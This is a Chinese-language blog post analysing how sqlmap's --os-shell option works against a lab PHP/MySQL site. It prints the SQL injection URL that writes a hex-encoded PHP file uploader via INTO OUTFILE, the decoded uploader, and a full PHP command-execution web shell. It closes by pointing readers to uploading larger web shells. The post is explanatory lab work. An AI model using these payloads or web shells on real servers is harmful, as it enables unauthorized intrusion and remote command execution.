0x00 Background

最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。

0x01 Environment

本环境是在局域网下利用两台主机搭建的,环境比较真实。
  攻击机:
     系统:windows7
     工具:sqlmap
  靶机:
     系统:windows7
     环境:wamp搭建的apache、mysql和php
     网页源码:phpmywind,此处修改了点源代码,方便进行测试。

0x02 Attack demo

(1)环境测试

url:192.168.0.166/php/newsshow.php?cid=4&id=11
截图:

(2)攻击

python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

(3)选择语言

sqlmap默认为php,此处根据需求选择。

(4)输入绝对路径

此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

(5)建立os-shell并执行命令

0x03 Analysis

(1)抓包

利用wireshark进行抓包

(2)第一个url分析

http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2C2%2C3%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%20..%2F..%2F..%2Fetc%2Fpasswd
url解码
http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

这条语句我认为对于os-shell并没有实际性的作用。

(3)插入数据

解析into outfile

http://192.168.0.166/php/newsshow.php?cid=-6901%20OR%203616%3D3616%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fwamp%2Fwww%2Ftmpulujm.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20-
解析url(除16进制字符)
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...
解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是将内容输入到outfile中。
LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。

解析16进制文件

如上图,16进制转换为字符串为:

#转换后的代码 <?php if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"] v ["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=\\wamp\\www\\> <input type=submit name=upload value=upload></form>";}?> #格式请自行调整

显然,16进制为php代码。
先访问以下tmpulujm.php

此处主要实现了向服务器传输文件的一个功能。此处简单看下上述文件php语句进行分析。

实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。学习到一点就是4.1.0的版本下,可直接执行。

(4)执行命令

现在我们已经可以上传文件了,但是仔细考虑一下,sqlmap是提供一个os-shell,我们现在只分析到了可以上传文件的步骤。那接下来,还需要在抓取的数据中进行分析。
在分析数据包中,我看到一个post数据包,从content中看到此数据包是实现了上传一个类似于cmd的一个php文件。

从上图可以看到,利用tmpulujm.php上传了一个tmpbtfgo.php的文件。将tmpbtfgo.php的内容截取出来,得到了一段php代码。格式请自行调整。

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}
else{$z=array();}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);
}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "</pre>".$w."</pre>";?>'''

上述代码实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。
因此我们可以在os-shell中执行命令。

0x04 os-shell的使用

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

此处对于中小型企业,如果自己搭建的服务器,例如直接用wamp或者phpnow等快捷方式搭建的服务器,基本上可以满足以上三个条件。
同时,对于os-shell的用法,很多的小伙伴会吐槽,都他么能上传了,还搞jb的os-shell了。对的,我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进行连接。
此处只是对sqlmap工作原理进行了一顿分析。至于利用方式以及攻击手段,当然有很多种,自行发散思维即可。接下来的工作是直接看下sqlmap的源码,才能理解的更为深刻。

sqlmap os shell解析相关推荐

  1. shell 解析 json

    如果 想利用 shell 从 json 数据 中 解析出某个字段, 可以 利用 正则匹配, 比如 想 解析出 "spanId":"8461203268866670975& ...

  2. bash/shell 解析命令行参数工具:getopts/getopt

    转载自:https://my.oschina.net/leejun2005/blog/202376 bash 脚本中,简单点的参数选项,我们可以直接用位置参数 $1 $2 这样来获取处理了,例如下面这 ...

  3. 华为鸿蒙如何安装,华为鸿蒙OS发布会解析,这些技术干货你应该知道

    2021年6月2日晚间,华为用一场规模盛大的发布会,正式推出了HarmonyOS 2,并且还带来了多款搭载这一系统的硬件产品. 很显然对于许多朋友来说,这都是一场期待已久的活动.但一方面由于这场发布会 ...

  4. linux shell 解析文本文件,linux Shell 全解析

    Shell 函数Shell 字符串 单引号 单引号字符串的限制: 单引号里的任何字符都会原样输出,单引号字符串中的变量是无效的: 单引号字串中不能出现单引号(对单引号使用转义符后也不行). 双引号 双 ...

  5. linux shell解析1

    简介 我们常常提到的Shell其实是比较狭隘的定义,一般来说,在linux里,所谓的shell,就是指BASH这个文字模式的shell.但是广义的Shell也可以是KDE之类的图形界面控制软件,因为它 ...

  6. Shell解析curl返回的json数据

    主要介绍两种方式,第一种是使用jq(需要单独安装),第二种是使用python(建议). 一.使用jq 1.安装JQ 方式1:下载二进制文件 wget -O jq https://github.com/ ...

  7. shell解析html文件,[Shell] Shell 生成 HTML脚本,可显示表格

    Shell 生成 HTML脚本 生成的格式不好看,以后要多改进. [mon@oracle6 source]$ more gen_html #!/bin/bash datetime=`date +&qu ...

  8. 转:firefox os 框架解析

    FireFox OS是移动操作系统的新成员,它以Linux内核和Gecko为基础,延续了Web版的开源理念.这款新的操作系统在设计上究竟有哪些独到之处?是否能满足移动市场中多元化的用户需求?本文将从F ...

  9. 腾讯 tiny os shell移植

    默认你已经调通tos,如果没有请移步官网 准备好要移植的文件 需要把shell文件夹下c和h文件加入到工程中(不会的请自行搜索) 因为是需要串口进行接收,需要用过平台调用st的库 调用 调用 shel ...

最新文章

  1. PHP 读取数据库内容并以二维数组按指定列输出实例
  2. 研究生实名举报深圳大学导师强迫学生延迟毕业,违规报销,各方回应
  3. python 之三级菜单
  4. 谈Objective-C Block的实现
  5. [网络] SOCKET, TCP/UDP, HTTP, FTP
  6. 零基础学Python:函数的参数详解
  7. js对象、构造函数、命名空间、方法、属性
  8. 《深入.NET平台和C# 编程》内部测试 笔试题
  9. Android 系统(167)----OTA升级常见问题
  10. 蓝色圆形门禁卡怎么模拟_手把手教你把门禁卡复制到手机,跟实体门禁卡说拜拜...
  11. js中将html文档写入静态界面当中
  12. 深入浅出设计模式(一)
  13. 如何按行政区划下载谷歌地图并裁剪
  14. ajax/ 回调函数(回调地狱)
  15. 华为中国生态伙伴大会2019盛大开幕:智能进化 共赢生态未来
  16. ORVIBO 精灵款升级分析
  17. 内存管理参数zone_reclaim_mode分析
  18. Python用while循环,打印9*9乘法表
  19. markdown 输入积分符号
  20. 自动上色论文《Deep Exemplar-based Colorization》(1)

热门文章

  1. Go 语言编程 — 变量与常量
  2. 互联网协议 — OAuth2 第三方授权协议
  3. QEMU — Guest Agent
  4. Altium Designer隐藏电气连接线
  5. win7如何添加开机启动程序(开机就自动运行打开)
  6. 从零开始学 Python 之字符串
  7. 百度云盘上传文件和下载文件慢的解决办法
  8. Android数据填充器LayoutInflater
  9. 使用PHP处理POST上传时$_FILES数组为何为空
  10. listener does not currently know of service requested in connect descriptor